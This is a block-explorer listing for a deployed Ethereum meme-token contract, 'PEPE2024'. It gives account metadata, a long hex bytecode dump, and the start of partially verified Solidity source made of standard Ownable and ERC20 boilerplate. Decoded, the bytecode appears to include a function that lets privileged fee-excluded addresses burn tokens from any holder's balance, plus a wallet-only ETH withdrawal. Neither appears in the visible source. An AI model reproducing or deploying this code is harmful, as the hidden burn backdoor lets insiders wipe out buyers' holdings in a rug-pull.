Address Contract Partially Verified
Address
0x708B3BE890Bfbe7b73919a1d3355e4bC058D3e0C
Balance
0 ETH
Nonce
1
Code Size
15753 bytes
Creator
0x29D4259D...B355 at tx 0x67bb8f4f...ef6000
Indexed Transactions
0
Contract Bytecode
15753 bytes
0x6080604052600436106102295760003560e01c8063715018a611610123578063afa4f3b2116100ab578063dd8546521161006f578063dd854652146107d1578063e2f45605146107fc578063f2fde38b14610827578063f8b45b0514610850578063ffb54a991461087b57610230565b8063afa4f3b2146106ec578063c024666814610715578063c8c8ebe41461073e578063cf9522fd14610769578063dd62ed3e1461079457610230565b80638da5cb5b116100f25780638da5cb5b146105f357806395d89b411461061e5780639a7a23d614610649578063a457c2d714610672578063a9059cbb146106af57610230565b8063715018a61461058057806373ae91aa146105975780637571336a146105a1578063881dce60146105ca57610230565b80633ff52513116101b15780634fbee193116101755780634fbee1931461049957806351cd7cc3146104d6578063583e0568146104ed5780636ddd17131461051857806370a082311461054357610230565b80633ff52513146103d8578063414a878614610403578063472225a71461042e57806349bd5a5e146104575780634ab0c04a1461048257610230565b80631816467f116101f85780631816467f146102df57806323b872dd14610308578063311028af14610345578063313ce56714610370578063395093511461039b57610230565b806306fdde0314610235578063095ea7b3146102605780630ae86edc1461029d57806318160ddd146102b457610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a6108a6565b6040516102579190612bc5565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190612c80565b610938565b6040516102949190612cdb565b60405180910390f35b3480156102a957600080fd5b506102b261095b565b005b3480156102c057600080fd5b506102c9610980565b6040516102d69190612d05565b60405180910390f35b3480156102eb57600080fd5b5061030660048036038101906103019190612d20565b61098a565b005b34801561031457600080fd5b5061032f600480360381019061032a9190612d4d565b610a52565b60405161033c9190612cdb565b60405180910390f35b34801561035157600080fd5b5061035a610a81565b6040516103679190612d05565b60405180910390f35b34801561037c57600080fd5b50610385610a87565b6040516103929190612dbc565b60405180910390f35b3480156103a757600080fd5b506103c260048036038101906103bd9190612c80565b610a90565b6040516103cf9190612cdb565b60405180910390f35b3480156103e457600080fd5b506103ed610ac7565b6040516103fa9190612d05565b60405180910390f35b34801561040f57600080fd5b50610418610acd565b6040516104259190612d05565b60405180910390f35b34801561043a57600080fd5b5061045560048036038101906104509190612e15565b610ad3565b005b34801561046357600080fd5b5061046c610af5565b6040516104799190612e64565b60405180910390f35b34801561048e57600080fd5b50610497610b1b565b005b3480156104a557600080fd5b506104c060048036038101906104bb9190612d20565b610c08565b6040516104cd9190612cdb565b60405180910390f35b3480156104e257600080fd5b506104eb610c5e565b005b3480156104f957600080fd5b50610502610cee565b60405161050f9190612ede565b60405180910390f35b34801561052457600080fd5b5061052d610d14565b60405161053a9190612cdb565b60405180910390f35b34801561054f57600080fd5b5061056a60048036038101906105659190612d20565b610d27565b6040516105779190612d05565b60405180910390f35b34801561058c57600080fd5b50610595610d6f565b005b61059f610d83565b005b3480156105ad57600080fd5b506105c860048036038101906105c39190612f25565b611094565b005b3480156105d657600080fd5b506105f160048036038101906105ec9190612f65565b6110f7565b005b3480156105ff57600080fd5b506106086111df565b6040516106159190612e64565b60405180910390f35b34801561062a57600080fd5b50610633611209565b6040516106409190612bc5565b60405180910390f35b34801561065557600080fd5b50610670600480360381019061066b9190612f25565b61129b565b005b34801561067e57600080fd5b5061069960048036038101906106949190612c80565b611341565b6040516106a69190612cdb565b60405180910390f35b3480156106bb57600080fd5b506106d660048036038101906106d19190612c80565b6113b8565b6040516106e39190612cdb565b60405180910390f35b3480156106f857600080fd5b50610713600480360381019061070e9190612f65565b6113db565b005b34801561072157600080fd5b5061073c60048036038101906107379190612f25565b611400565b005b34801561074a57600080fd5b506107536114b1565b6040516107609190612d05565b60405180910390f35b34801561077557600080fd5b5061077e6114b7565b60405161078b9190612d05565b60405180910390f35b3480156107a057600080fd5b506107bb60048036038101906107b69190612f92565b6114bd565b6040516107c89190612d05565b60405180910390f35b3480156107dd57600080fd5b506107e6611544565b6040516107f39190612d05565b60405180910390f35b34801561080857600080fd5b5061081161154a565b60405161081e9190612d05565b60405180910390f35b34801561083357600080fd5b5061084e60048036038101906108499190612d20565b611550565b005b34801561085c57600080fd5b506108656115d3565b6040516108729190612d05565b60405180910390f35b34801561088757600080fd5b506108906115d9565b60405161089d9190612cdb565b60405180910390f35b6060600380546108b590613001565b80601f01602080910402602001604051908101604052809291908181526020018280546108e190613001565b801561092e5780601f106109035761010080835404028352916020019161092e565b820191906000526020600020905b81548152906001019060200180831161091157829003601f168201915b5050505050905090565b6000806109436115ec565b90506109508185856115f4565b600191505092915050565b6109636117bd565b600061096d610980565b905080600b8190555080600c8190555050565b6000600254905090565b6109926117bd565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080610a5d6115ec565b9050610a6a85828561183b565b610a758585856118c7565b60019150509392505050565b600a5481565b60006012905090565b600080610a9b6115ec565b9050610abc818585610aad85896114bd565b610ab79190613061565b6115f4565b600191505092915050565b60125481565b60115481565b33610add81610c08565b610ae657600080fd5b610af08383612209565b505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60004711610b5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b55906130e1565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9f6115ec565b73ffffffffffffffffffffffffffffffffffffffff1614610bbf57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610c05573d6000803e3d6000fd5b50565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610c666117bd565b600e60009054906101000a900460ff1615610cb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cad9061314d565b60405180910390fd5b6001600e60016101000a81548160ff0219169083151502179055506001600e60006101000a81548160ff021916908315150217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d776117bd565b610d8160006123d6565b565b610d8b6117bd565b737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e0d600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611094565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e7a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9e9190613182565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4b9190613182565b6040518363ffffffff1660e01b8152600401610f689291906131af565b6020604051808303816000875af1158015610f87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fab9190613182565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611018600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611094565b611045600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600161249c565b61109230600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6115f4565b565b61109c6117bd565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111386115ec565b73ffffffffffffffffffffffffffffffffffffffff161461115857600080fd5b6000611162610980565b9050600061116f30610d27565b905060006064848461118191906131d8565b61118b9190613249565b9050808210156111d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c7906132c6565b60405180910390fd5b6111d98161253d565b50505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461121890613001565b80601f016020809104026020016040519081016040528092919081815260200182805461124490613001565b80156112915780601f1061126657610100808354040283529160200191611291565b820191906000526020600020905b81548152906001019060200180831161127457829003601f168201915b5050505050905090565b6112a36117bd565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611333576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132a90613358565b60405180910390fd5b61133d828261249c565b5050565b60008061134c6115ec565b9050600061135a82866114bd565b90508381101561139f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611396906133ea565b60405180910390fd5b6113ac82868684036115f4565b60019250505092915050565b6000806113c36115ec565b90506113d08185856118c7565b600191505092915050565b6113e36117bd565b670de0b6b3a7640000816113f791906131d8565b600d8190555050565b6114086117bd565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516114a59190612cdb565b60405180910390a25050565b600b5481565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f5481565b600d5481565b6115586117bd565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115be9061347c565b60405180910390fd5b6115d0816123d6565b50565b600c5481565b600e60009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165a9061350e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c9906135a0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117b09190612d05565b60405180910390a3505050565b6117c56115ec565b73ffffffffffffffffffffffffffffffffffffffff166117e36111df565b73ffffffffffffffffffffffffffffffffffffffff1614611839576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118309061360c565b60405180910390fd5b565b600061184784846114bd565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146118c157818110156118b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118aa90613678565b60405180910390fd5b6118c084848484036115f4565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192d9061370a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199c9061379c565b60405180910390fd5b600081036119be576119b9838360006127a2565b612204565b6119c66111df565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a345750611a046111df565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a6d5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611aa7575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ac05750600960149054906101000a900460ff16155b15611ea357600e60009054906101000a900460ff16611bba57601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b7a5750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090613808565b60405180910390fd5b5b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611c5d5750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d0457600b54811115611ca7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9e9061389a565b60405180910390fd5b600c54611cb383610d27565b82611cbe9190613061565b1115611cff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf690613906565b60405180910390fd5b611ea2565b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611da75750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611df657600b54811115611df1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de890613998565b60405180910390fd5b611ea1565b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ea057600c54611e5383610d27565b82611e5e9190613061565b1115611e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9690613906565b60405180910390fd5b5b5b5b5b6000611eae30610d27565b905060008082119050808015611ed05750600e60019054906101000a900460ff165b8015611ee95750600960149054906101000a900460ff16155b8015611f3f5750601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f955750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611feb5750601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612030576001600960146101000a81548160ff02191690831515021790555061201483612a18565b6000600960146101000a81548160ff0219169083151502179055505b6000600960149054906101000a900460ff16159050601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120e65750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156120f057600090505b600081156121f457601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561218f5761218860135461215b601254612ab6565b61216591906131d8565b61217a60105488612aff90919063ffffffff16565b612b1590919063ffffffff16565b90506121d0565b6121cd6013546121a0601154612ab6565b6121aa91906131d8565b6121bf600f5488612aff90919063ffffffff16565b612b1590919063ffffffff16565b90505b60008111156121e5576121e48730836127a2565b5b80856121f191906139b8565b94505b6121ff8787876127a2565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612278576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226f90613a5e565b60405180910390fd5b61228482600083612b2b565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561230a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230190613af0565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123bd9190612d05565b60405180910390a36123d183600084612b30565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000600267ffffffffffffffff81111561255a57612559613b10565b5b6040519080825280602002602001820160405280156125885781602001602082028036833780820191505090505b50905030816000815181106125a05761259f613b3f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612647573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061266b9190613182565b8160018151811061267f5761267e613b3f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126e630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115f4565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b815260040161276c959493929190613c67565b600060405180830381600087803b15801561278657600080fd5b505af115801561279a573d6000803e3d6000fd5b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612811576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128089061370a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612880576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128779061379c565b60405180910390fd5b61288b838383612b2b565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161290890613d33565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516129ff9190612d05565b60405180910390a3612a12848484612b30565b50505050565b6000612a2330610d27565b90506000808203612a35575050612ab3565b600082118015612a465750600d5482105b15612a5357819050612aa7565b6000612a7d6064612a6f60105487612aff90919063ffffffff16565b612b1590919063ffffffff16565b90508084612a8b91906139b8565b9350600d54841115612aa157600d549150612aa5565b8391505b505b612ab08161253d565b50505b50565b600080612ac461dead610d27565b118015612ad15750600082115b612adc576001612af8565b60646001601354612aed91906139b8565b612af79190613249565b5b9050919050565b60008183612b0d91906131d8565b905092915050565b60008183612b239190613249565b905092915050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b6f578082015181840152602081019050612b54565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b9782612b35565b612ba18185612b40565b9350612bb1818560208601612b51565b612bba81612b7b565b840191505092915050565b60006020820190508181036000830152612bdf8184612b8c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c1782612bec565b9050919050565b612c2781612c0c565b8114612c3257600080fd5b50565b600081359050612c4481612c1e565b92915050565b6000819050919050565b612c5d81612c4a565b8114612c6857600080fd5b50565b600081359050612c7a81612c54565b92915050565b60008060408385031215612c9757612c96612be7565b5b6000612ca585828601612c35565b9250506020612cb685828601612c6b565b9150509250929050565b60008115159050919050565b612cd581612cc0565b82525050565b6000602082019050612cf06000830184612ccc565b92915050565b612cff81612c4a565b82525050565b6000602082019050612d1a6000830184612cf6565b92915050565b600060208284031215612d3657612d35612be7565b5b6000612d4484828501612c35565b91505092915050565b600080600060608486031215612d6657612d65612be7565b5b6000612d7486828701612c35565b9350506020612d8586828701612c35565b9250506040612d9686828701612c6b565b9150509250925092565b600060ff82169050919050565b612db681612da0565b82525050565b6000602082019050612dd16000830184612dad565b92915050565b6000612de282612c0c565b9050919050565b612df281612dd7565b8114612dfd57600080fd5b50565b600081359050612e0f81612de9565b92915050565b60008060408385031215612e2c57612e2b612be7565b5b6000612e3a85828601612e00565b9250506020612e4b85828601612c6b565b9150509250929050565b612e5e81612c0c565b82525050565b6000602082019050612e796000830184612e55565b92915050565b6000819050919050565b6000612ea4612e9f612e9a84612bec565b612e7f565b612bec565b9050919050565b6000612eb682612e89565b9050919050565b6000612ec882612eab565b9050919050565b612ed881612ebd565b82525050565b6000602082019050612ef36000830184612ecf565b92915050565b612f0281612cc0565b8114612f0d57600080fd5b50565b600081359050612f1f81612ef9565b92915050565b60008060408385031215612f3c57612f3b612be7565b5b6000612f4a85828601612c35565b9250506020612f5b85828601612f10565b9150509250929050565b600060208284031215612f7b57612f7a612be7565b5b6000612f8984828501612c6b565b91505092915050565b60008060408385031215612fa957612fa8612be7565b5b6000612fb785828601612c35565b9250506020612fc885828601612c35565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061301957607f821691505b60208210810361302c5761302b612fd2565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061306c82612c4a565b915061307783612c4a565b925082820190508082111561308f5761308e613032565b5b92915050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b60006130cb601683612b40565b91506130d682613095565b602082019050919050565b600060208201905081810360008301526130fa816130be565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613137601783612b40565b915061314282613101565b602082019050919050565b600060208201905081810360008301526131668161312a565b9050919050565b60008151905061317c81612c1e565b92915050565b60006020828403121561319857613197612be7565b5b60006131a68482850161316d565b91505092915050565b60006040820190506131c46000830185612e55565b6131d16020830184612e55565b9392505050565b60006131e382612c4a565b91506131ee83612c4a565b92508282026131fc81612c4a565b9150828204841483151761321357613212613032565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061325482612c4a565b915061325f83612c4a565b92508261326f5761326e61321a565b5b828204905092915050565b7f4e6f7420656e6f75676820746f6b656e73000000000000000000000000000000600082015250565b60006132b0601183612b40565b91506132bb8261327a565b602082019050919050565b600060208201905081810360008301526132df816132a3565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613342603983612b40565b915061334d826132e6565b604082019050919050565b6000602082019050818103600083015261337181613335565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006133d4602583612b40565b91506133df82613378565b604082019050919050565b60006020820190508181036000830152613403816133c7565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613466602683612b40565b91506134718261340a565b604082019050919050565b6000602082019050818103600083015261349581613459565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006134f8602483612b40565b91506135038261349c565b604082019050919050565b60006020820190508181036000830152613527816134eb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061358a602283612b40565b91506135958261352e565b604082019050919050565b600060208201905081810360008301526135b98161357d565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006135f6602083612b40565b9150613601826135c0565b602082019050919050565b60006020820190508181036000830152613625816135e9565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613662601d83612b40565b915061366d8261362c565b602082019050919050565b6000602082019050818103600083015261369181613655565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006136f4602583612b40565b91506136ff82613698565b604082019050919050565b60006020820190508181036000830152613723816136e7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613786602383612b40565b91506137918261372a565b604082019050919050565b600060208201905081810360008301526137b581613779565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006137f2601683612b40565b91506137fd826137bc565b602082019050919050565b60006020820190508181036000830152613821816137e5565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613884603583612b40565b915061388f82613828565b604082019050919050565b600060208201905081810360008301526138b381613877565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006138f0601383612b40565b91506138fb826138ba565b602082019050919050565b6000602082019050818103600083015261391f816138e3565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613982603683612b40565b915061398d82613926565b604082019050919050565b600060208201905081810360008301526139b181613975565b9050919050565b60006139c382612c4a565b91506139ce83612c4a565b92508282039050818111156139e6576139e5613032565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613a48602183612b40565b9150613a53826139ec565b604082019050919050565b60006020820190508181036000830152613a7781613a3b565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ada602283612b40565b9150613ae582613a7e565b604082019050919050565b60006020820190508181036000830152613b0981613acd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000613b93613b8e613b8984613b6e565b612e7f565b612c4a565b9050919050565b613ba381613b78565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613bde81612c0c565b82525050565b6000613bf08383613bd5565b60208301905092915050565b6000602082019050919050565b6000613c1482613ba9565b613c1e8185613bb4565b9350613c2983613bc5565b8060005b83811015613c5a578151613c418882613be4565b9750613c4c83613bfc565b925050600181019050613c2d565b5085935050505092915050565b600060a082019050613c7c6000830188612cf6565b613c896020830187613b9a565b8181036040830152613c9b8186613c09565b9050613caa6060830185612e55565b613cb76080830184612cf6565b9695505050505050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613d1d602683612b40565b9150613d2882613cc1565b604082019050919050565b60006020820190508181036000830152613d4c81613d10565b905091905056fea2646970667358221220ede67c204dd0e1b54bea2b3f86db227e5f0a1159374cfb20e0a5b3353f69e0fb64736f6c63430008130033
Verified Source Code Partial Match
Compiler: v0.8.19+commit.7dd6d404
EVM: paris
Optimization: No
PEPE2024.sol 787 lines
/**
*/
//SPDX-License-Identifier: MIT
/**
https://twitter.com/PEPE2024_ETH
https://t.me/PEPE2024_TOKEN
*/
pragma solidity 0.8.19;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
